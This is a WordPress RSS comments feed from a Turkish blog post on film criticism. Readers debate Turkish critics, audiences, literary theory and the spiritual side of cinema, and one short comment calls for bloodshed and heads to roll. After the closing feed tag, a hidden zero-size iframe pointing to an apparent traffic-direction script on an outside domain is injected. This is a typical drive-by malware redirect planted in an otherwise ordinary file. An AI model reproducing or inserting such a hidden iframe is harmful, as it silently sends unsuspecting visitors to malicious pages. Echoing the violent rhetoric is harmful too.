<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Film Eleştirisi</title>
	<atom:link href="http://www.eylemplani.com/2010/07/film-elestirisi/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.eylemplani.com/2010/07/film-elestirisi/</link>
	<description></description>
	<lastBuildDate>Fri, 27 Jan 2012 00:36:41 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>By: cem</title>
		<link>http://www.eylemplani.com/2010/07/film-elestirisi/#comment-781</link>
		<dc:creator>cem</dc:creator>
		<pubDate>Fri, 28 Jan 2011 21:23:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.eylemplani.com/?p=1236#comment-781</guid>
		<description>2. grup filmlerden bazı örnekler rica edebilir miyiz sayın Işık? Ben şahsen o manaya ve ruha erişmiş bu örneklerle tanışmak isterdim.</description>
		<content:encoded><![CDATA[<p>2. grup filmlerden bazı örnekler rica edebilir miyiz sayın Işık? Ben şahsen o manaya ve ruha erişmiş bu örneklerle tanışmak isterdim.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: bayram ışık</title>
		<link>http://www.eylemplani.com/2010/07/film-elestirisi/#comment-699</link>
		<dc:creator>bayram ışık</dc:creator>
		<pubDate>Wed, 01 Dec 2010 19:33:21 +0000</pubDate>
		<guid isPermaLink="false">http://www.eylemplani.com/?p=1236#comment-699</guid>
		<description>Sinemanın en büyük sıkıntısı kendisini her an geliştiricek üstün tefekküre ulaşmış fikir adamlarından yoksun olmasıdır.Bu insanlar çok az ve nadir yetişirler.O insanlardan biri olan bir şair&#039;Ben duvarda ezik bir böcekmiyim, yoksa tek damla kanda kainatı süzen bir mercekmiyim.&#039;sözü sinemanın ruhuna derman olacak bir ilaçtır.Sinema dediğimiz o esrarlı perdenin iki yönü vardır.1. Sade Dünyaya bağlı olan.2.Manaya ve ulvi olana bağlı olan birincisi sade beyaz perdedir.İkincisi her an kendini yeniler o dünyamızdan değildir eşi benzeri olmayan bir güzelliği, anlatmaya çalışır ve her an ayaklarımızı yerden keser.Fakat Dünya ve ülkemizde sinemayla uğraşan yönetmenler ve eleştirmenler 2.guruba yabancıdır.2.grubun merkezinde yüce yaradan vardır.Sinemanın gerçek manada &lt;strong&gt;ruhu&lt;/strong&gt; sade &lt;strong&gt;Allah&lt;/strong&gt;&#039;içindir diğer hiç bir şeyi kabul etmez sade ona hizmet etmek için yaşar bu sebepten her an bir arayış ve yenilik içindedir.İnşaallah o gerçek manaya hasret duyan üstün tefekkür insanları gelir derdimize derman olurlar.</description>
		<content:encoded><![CDATA[<p>Sinemanın en büyük sıkıntısı kendisini her an geliştiricek üstün tefekküre ulaşmış fikir adamlarından yoksun olmasıdır.Bu insanlar çok az ve nadir yetişirler.O insanlardan biri olan bir şair&#8217;Ben duvarda ezik bir böcekmiyim, yoksa tek damla kanda kainatı süzen bir mercekmiyim.&#8217;sözü sinemanın ruhuna derman olacak bir ilaçtır.Sinema dediğimiz o esrarlı perdenin iki yönü vardır.1. Sade Dünyaya bağlı olan.2.Manaya ve ulvi olana bağlı olan birincisi sade beyaz perdedir.İkincisi her an kendini yeniler o dünyamızdan değildir eşi benzeri olmayan bir güzelliği, anlatmaya çalışır ve her an ayaklarımızı yerden keser.Fakat Dünya ve ülkemizde sinemayla uğraşan yönetmenler ve eleştirmenler 2.guruba yabancıdır.2.grubun merkezinde yüce yaradan vardır.Sinemanın gerçek manada <strong>ruhu</strong> sade <strong>Allah</strong>&#8216;içindir diğer hiç bir şeyi kabul etmez sade ona hizmet etmek için yaşar bu sebepten her an bir arayış ve yenilik içindedir.İnşaallah o gerçek manaya hasret duyan üstün tefekkür insanları gelir derdimize derman olurlar.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Düd</title>
		<link>http://www.eylemplani.com/2010/07/film-elestirisi/#comment-604</link>
		<dc:creator>Düd</dc:creator>
		<pubDate>Wed, 29 Sep 2010 22:00:03 +0000</pubDate>
		<guid isPermaLink="false">http://www.eylemplani.com/?p=1236#comment-604</guid>
		<description>Sinema Turkuvaz dergisinin Ekim 2010 sayısında film eleştirisi üzerine geniş denilebilecek bir dosya konusu var. Sektörün pek çok alanından birçok kişiyle yapılmış röportajlar ve yorumlar dosyada mevcut. Bir kişi bile reklam dememiş, demişse de dosyaya konulmamış, o ilginç tabii.</description>
		<content:encoded><![CDATA[<p>Sinema Turkuvaz dergisinin Ekim 2010 sayısında film eleştirisi üzerine geniş denilebilecek bir dosya konusu var. Sektörün pek çok alanından birçok kişiyle yapılmış röportajlar ve yorumlar dosyada mevcut. Bir kişi bile reklam dememiş, demişse de dosyaya konulmamış, o ilginç tabii.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Düd</title>
		<link>http://www.eylemplani.com/2010/07/film-elestirisi/#comment-357</link>
		<dc:creator>Düd</dc:creator>
		<pubDate>Thu, 22 Jul 2010 10:38:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.eylemplani.com/?p=1236#comment-357</guid>
		<description>Olay fffatih&#039;in dediği gibi sıfıra sıfır elde var sıfır noktasına geliyor. Seyirci gelişmediği sürece değişecek bir şey yok. O gelişmeyi getirmek için ise ortak bir vizyon lazım. O da şu dönemlerde imkânsız görünüyor.</description>
		<content:encoded><![CDATA[<p>Olay fffatih&#8217;in dediği gibi sıfıra sıfır elde var sıfır noktasına geliyor. Seyirci gelişmediği sürece değişecek bir şey yok. O gelişmeyi getirmek için ise ortak bir vizyon lazım. O da şu dönemlerde imkânsız görünüyor.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: hegel</title>
		<link>http://www.eylemplani.com/2010/07/film-elestirisi/#comment-356</link>
		<dc:creator>hegel</dc:creator>
		<pubDate>Sun, 18 Jul 2010 14:41:21 +0000</pubDate>
		<guid isPermaLink="false">http://www.eylemplani.com/?p=1236#comment-356</guid>
		<description>Metin Erksan da bu işe çok kafa yormuş. Zamanında film eleştirmenlerinin başka bir adla anıldıklarını ve çok donanımlı olduklarını söyler. Fransız yeni dalgasını oluşturan yönetmenler de öncelikle Cahiers Du Cinema dergisinin yazarlarıydı. Sinemayı en az yönetmenler kadar iyi biliyorlardı; belki daha da fazla biliyorlardı. Yetenekli olanları yönetmenlikte de başarılı oldu. Bazıları iyi filmler çekebileceklerini hissetmelerine rağmen yönetmenliğe bulaşmayıp, mesleklerinin hakkını fazlasıyla verdi. Bu da sinema adına çok önemli bir tercihtir. Çünkü sinema kuramsal olarak da incelenmeye, anlaşılmaya muhtaçtır. Sinema eleştirmenlerinin farklı tercihleri ve üslupları olabilir. Önemli olan ne yazdıkları/anlattıklarıdır. Seyrettiğiniz filmle ilgili kafanızı açabiliyorsa, düşündürtebiliyorsa görevini yapmış demektir. Bunun içinde bütün önyargıları bir tarafa bırakıp, tamamen filme odaklanarak hareket etmek gerekir. Yönetmenin tercihlerinin sebeplerini derinlerden bulup çıkaran eleştirmen işinin hakkını veren kişidir. Yönetmenin, sahneyle ilgili duyguyu en iyi şekilde verdiğini sezen eleştirmen, bunu cümlelerinin arasına ustaca döküp anlatabilen kişidir. Kişisel ve nesnel arasındaki dengeyi iyi kurabildiği ölçüde, birikiminin de etkisiyle filmin hakkını verebilecektir eleştirmen.</description>
		<content:encoded><![CDATA[<p>Metin Erksan da bu işe çok kafa yormuş. Zamanında film eleştirmenlerinin başka bir adla anıldıklarını ve çok donanımlı olduklarını söyler. Fransız yeni dalgasını oluşturan yönetmenler de öncelikle Cahiers Du Cinema dergisinin yazarlarıydı. Sinemayı en az yönetmenler kadar iyi biliyorlardı; belki daha da fazla biliyorlardı. Yetenekli olanları yönetmenlikte de başarılı oldu. Bazıları iyi filmler çekebileceklerini hissetmelerine rağmen yönetmenliğe bulaşmayıp, mesleklerinin hakkını fazlasıyla verdi. Bu da sinema adına çok önemli bir tercihtir. Çünkü sinema kuramsal olarak da incelenmeye, anlaşılmaya muhtaçtır. Sinema eleştirmenlerinin farklı tercihleri ve üslupları olabilir. Önemli olan ne yazdıkları/anlattıklarıdır. Seyrettiğiniz filmle ilgili kafanızı açabiliyorsa, düşündürtebiliyorsa görevini yapmış demektir. Bunun içinde bütün önyargıları bir tarafa bırakıp, tamamen filme odaklanarak hareket etmek gerekir. Yönetmenin tercihlerinin sebeplerini derinlerden bulup çıkaran eleştirmen işinin hakkını veren kişidir. Yönetmenin, sahneyle ilgili duyguyu en iyi şekilde verdiğini sezen eleştirmen, bunu cümlelerinin arasına ustaca döküp anlatabilen kişidir. Kişisel ve nesnel arasındaki dengeyi iyi kurabildiği ölçüde, birikiminin de etkisiyle filmin hakkını verebilecektir eleştirmen.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: hegel</title>
		<link>http://www.eylemplani.com/2010/07/film-elestirisi/#comment-355</link>
		<dc:creator>hegel</dc:creator>
		<pubDate>Sun, 18 Jul 2010 09:55:33 +0000</pubDate>
		<guid isPermaLink="false">http://www.eylemplani.com/?p=1236#comment-355</guid>
		<description>Berna Moran&#039;ın &quot;Edebiyat Kuramları ve Eleştiri&quot; adlı bir kitabı vardır. Orada sanat, eser, okur ve toplumdan bahseder. Eleştiriden, biçim içerik sorunundan, içeriğin değerinden bahseder. Edebiyatta yapısalcılık, ötesi ve Derrida&#039;dan bahseder. Sinema da yazının ete kemiğe bürünmüş hali olduğuna göre, bunlara bir boyut daha ekleyip o gözle bakabiliriz. Yönetmen, hayal gücünü görselleştirebildiği ölçüde başarılıdır. Tabi önüne konulan hayal gücünü tasarlayan senaristin -kendi de olabilir- yaratıcılığı ölçüsünde. Yapısöküm tekniği sinemaya da uygulanabilir elbette. Ama sanat tarafı güçlü olan filmler tekniği alaşağı edebilirler. Devam edeceğim.</description>
		<content:encoded><![CDATA[<p>Berna Moran&#8217;ın &#8220;Edebiyat Kuramları ve Eleştiri&#8221; adlı bir kitabı vardır. Orada sanat, eser, okur ve toplumdan bahseder. Eleştiriden, biçim içerik sorunundan, içeriğin değerinden bahseder. Edebiyatta yapısalcılık, ötesi ve Derrida&#8217;dan bahseder. Sinema da yazının ete kemiğe bürünmüş hali olduğuna göre, bunlara bir boyut daha ekleyip o gözle bakabiliriz. Yönetmen, hayal gücünü görselleştirebildiği ölçüde başarılıdır. Tabi önüne konulan hayal gücünü tasarlayan senaristin -kendi de olabilir- yaratıcılığı ölçüsünde. Yapısöküm tekniği sinemaya da uygulanabilir elbette. Ama sanat tarafı güçlü olan filmler tekniği alaşağı edebilirler. Devam edeceğim.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: ailenizin doktoru</title>
		<link>http://www.eylemplani.com/2010/07/film-elestirisi/#comment-354</link>
		<dc:creator>ailenizin doktoru</dc:creator>
		<pubDate>Fri, 16 Jul 2010 16:39:34 +0000</pubDate>
		<guid isPermaLink="false">http://www.eylemplani.com/?p=1236#comment-354</guid>
		<description>Şu kadının SİYAD üyesi olabildiği ülkede hangi sinema eleştirmenliğinden bahsediyoruz biz?

http://hurarsiv.hurriyet.com.tr/goster/haber.aspx?id=15298252&amp;tarih=2010-07-13</description>
		<content:encoded><![CDATA[<p>Şu kadının SİYAD üyesi olabildiği ülkede hangi sinema eleştirmenliğinden bahsediyoruz biz?</p>
<p><a href="http://hurarsiv.hurriyet.com.tr/goster/haber.aspx?id=15298252&#038;tarih=2010-07-13" rel="nofollow">http://hurarsiv.hurriyet.com.tr/goster/haber.aspx?id=15298252&#038;tarih=2010-07-13</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: fffatih</title>
		<link>http://www.eylemplani.com/2010/07/film-elestirisi/#comment-353</link>
		<dc:creator>fffatih</dc:creator>
		<pubDate>Thu, 15 Jul 2010 15:52:57 +0000</pubDate>
		<guid isPermaLink="false">http://www.eylemplani.com/?p=1236#comment-353</guid>
		<description>Paralellik ilkesinin sonuçları olarak bir ülkedeki (en alakasız konular da dahil) diğer bir çok alan nasılsa sinema da eleştirisi de öyle olmak zorunda!(Büyük resim) Her konuyu ayrı ayrı tartışın; ekonomi, politika, sosyalizm, hukuk, eğitim, edebiyat, tiyatro, müzik, resim, fotoğraf...neredeyiz tüm bunlarda? Toplum bu malzeme bu. Bunu yadsıyarak kendi içine dönmüş bir &quot;7. sanat sinema&quot; dünyası oluşturmak ne kadar gerçekçi görünüyor.Hadi birileri yaptı, sonra?
Minimalist sinema mesela. Çıkış noktası özgünlük iken, neredeyse sıradanlaşmaya doğru gitmeye başladı. Çünkü bu paralellik ilkesiyle beraber, kim bir gün kalıpları yıkıp bir şey yapacak olsa, içinde bulunduğumuz toplumun yukarıda anlattığım diğer alanlardan üzerine yapışan eksiklikler ya da çarpıklıklardan kaynaklı hastalık gelip onu hemen buluyor. Dönen bir diskin üzerinde iseniz ister istemez herkes aynı çizgiye kayma eğiliminde olacaktır.
İzleyicisi olmayan sinema olamaz. İzleyiciniz ( ya da eleştirmeniniz) bu ise, ham maddenizin (konu, senaryo, prodüksiyon..vs) önemi azalıyor. Bu nedenle çok büyük bir güç (mesela devlet) çıkıp &quot;bu alan bu ülkenin en büyük alanı olacak&quot; diyerek, ve tüm diğer hastalıklardan onu izole edip, işin özüne yoğunlaşmayı eksiksiz bir şekilde yapmaya başlarsa bir ışık o zaman görülebilir.
Eleştiri konusuna gelirsem..Tonla para harcayıp film yapmış ya da gişeye milyonları çekmiş adamı siz nasıl olur da eleştirirsiniz? Mantık şu; yapmayalım o zaman, American filmleri izleyin daha mı iyi?  Alacağınız cevap budur.Ya da şudur; &quot;emeğe saygı&quot; &quot;+rep&quot;  :)
Diyorlar ki &quot;türk sinemasına destek olunuyor gişe yapan film kalitesiz ya da çerezlik de olsa sektörü zenginleştirip, bir sonraki yapım için maddi ve manevi itici güç oluyor&quot;

Oluyor da sonuç ne?;    0+0+0+0+0+0+0=0</description>
		<content:encoded><![CDATA[<p>Paralellik ilkesinin sonuçları olarak bir ülkedeki (en alakasız konular da dahil) diğer bir çok alan nasılsa sinema da eleştirisi de öyle olmak zorunda!(Büyük resim) Her konuyu ayrı ayrı tartışın; ekonomi, politika, sosyalizm, hukuk, eğitim, edebiyat, tiyatro, müzik, resim, fotoğraf&#8230;neredeyiz tüm bunlarda? Toplum bu malzeme bu. Bunu yadsıyarak kendi içine dönmüş bir &#8220;7. sanat sinema&#8221; dünyası oluşturmak ne kadar gerçekçi görünüyor.Hadi birileri yaptı, sonra?<br />
Minimalist sinema mesela. Çıkış noktası özgünlük iken, neredeyse sıradanlaşmaya doğru gitmeye başladı. Çünkü bu paralellik ilkesiyle beraber, kim bir gün kalıpları yıkıp bir şey yapacak olsa, içinde bulunduğumuz toplumun yukarıda anlattığım diğer alanlardan üzerine yapışan eksiklikler ya da çarpıklıklardan kaynaklı hastalık gelip onu hemen buluyor. Dönen bir diskin üzerinde iseniz ister istemez herkes aynı çizgiye kayma eğiliminde olacaktır.<br />
İzleyicisi olmayan sinema olamaz. İzleyiciniz ( ya da eleştirmeniniz) bu ise, ham maddenizin (konu, senaryo, prodüksiyon..vs) önemi azalıyor. Bu nedenle çok büyük bir güç (mesela devlet) çıkıp &#8220;bu alan bu ülkenin en büyük alanı olacak&#8221; diyerek, ve tüm diğer hastalıklardan onu izole edip, işin özüne yoğunlaşmayı eksiksiz bir şekilde yapmaya başlarsa bir ışık o zaman görülebilir.<br />
Eleştiri konusuna gelirsem..Tonla para harcayıp film yapmış ya da gişeye milyonları çekmiş adamı siz nasıl olur da eleştirirsiniz? Mantık şu; yapmayalım o zaman, American filmleri izleyin daha mı iyi?  Alacağınız cevap budur.Ya da şudur; &#8220;emeğe saygı&#8221; &#8220;+rep&#8221;  :)<br />
Diyorlar ki &#8220;türk sinemasına destek olunuyor gişe yapan film kalitesiz ya da çerezlik de olsa sektörü zenginleştirip, bir sonraki yapım için maddi ve manevi itici güç oluyor&#8221;</p>
<p>Oluyor da sonuç ne?;    0+0+0+0+0+0+0=0</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: HHK</title>
		<link>http://www.eylemplani.com/2010/07/film-elestirisi/#comment-352</link>
		<dc:creator>HHK</dc:creator>
		<pubDate>Wed, 14 Jul 2010 21:23:23 +0000</pubDate>
		<guid isPermaLink="false">http://www.eylemplani.com/?p=1236#comment-352</guid>
		<description>Bir sektör, toplumun ihtiyaçlarını karşıladığı sürece; beklentiler, memnuniyet, kalite, innovasyon vb gibi değişkenleri mutlak barındırarak büyür ve gelişir. Sektörün bunu yapabilmesi için öncelikle toplumun ona ilgi duyması gerekir. Türk sinemanın eleştiri dünyasının gelişmesi için öncelikle toplumun bu alana ilgi göstermesi gerekir. Bunu da gene sinemacıların bu ilgiyi çekebilecek varyasyonlarda bulunmasıyla olur. Sermaye yapısı hızla büyüyen Türk Sinema sektöründe artık seyircinin fragman ve afiş yoluyla film seçme devrinin de bu devinim içinde tükenmesi gerekmektedir. Yaşanılan süreç muhteşem imkanlarıda kendi içinde barındırıyor. Bu gelişimle birlikte sinemaseverlere artık bir kaç eleştirmen ismini söyletmesini sağlayacak girişimlerin olması lazım.</description>
		<content:encoded><![CDATA[<p>Bir sektör, toplumun ihtiyaçlarını karşıladığı sürece; beklentiler, memnuniyet, kalite, innovasyon vb gibi değişkenleri mutlak barındırarak büyür ve gelişir. Sektörün bunu yapabilmesi için öncelikle toplumun ona ilgi duyması gerekir. Türk sinemanın eleştiri dünyasının gelişmesi için öncelikle toplumun bu alana ilgi göstermesi gerekir. Bunu da gene sinemacıların bu ilgiyi çekebilecek varyasyonlarda bulunmasıyla olur. Sermaye yapısı hızla büyüyen Türk Sinema sektöründe artık seyircinin fragman ve afiş yoluyla film seçme devrinin de bu devinim içinde tükenmesi gerekmektedir. Yaşanılan süreç muhteşem imkanlarıda kendi içinde barındırıyor. Bu gelişimle birlikte sinemaseverlere artık bir kaç eleştirmen ismini söyletmesini sağlayacak girişimlerin olması lazım.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: apaçi payi</title>
		<link>http://www.eylemplani.com/2010/07/film-elestirisi/#comment-351</link>
		<dc:creator>apaçi payi</dc:creator>
		<pubDate>Wed, 14 Jul 2010 12:34:38 +0000</pubDate>
		<guid isPermaLink="false">http://www.eylemplani.com/?p=1236#comment-351</guid>
		<description>Devrim kansız olmaz Düd. Daha da çok kan akıtılmalı bence. Kelleler gidecek. Gitmeden olmaz.</description>
		<content:encoded><![CDATA[<p>Devrim kansız olmaz Düd. Daha da çok kan akıtılmalı bence. Kelleler gidecek. Gitmeden olmaz.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
